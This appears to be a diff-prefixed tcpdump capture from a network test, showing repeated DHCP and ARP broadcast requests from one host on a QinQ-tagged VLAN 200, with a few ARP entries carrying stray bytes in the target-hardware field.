+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
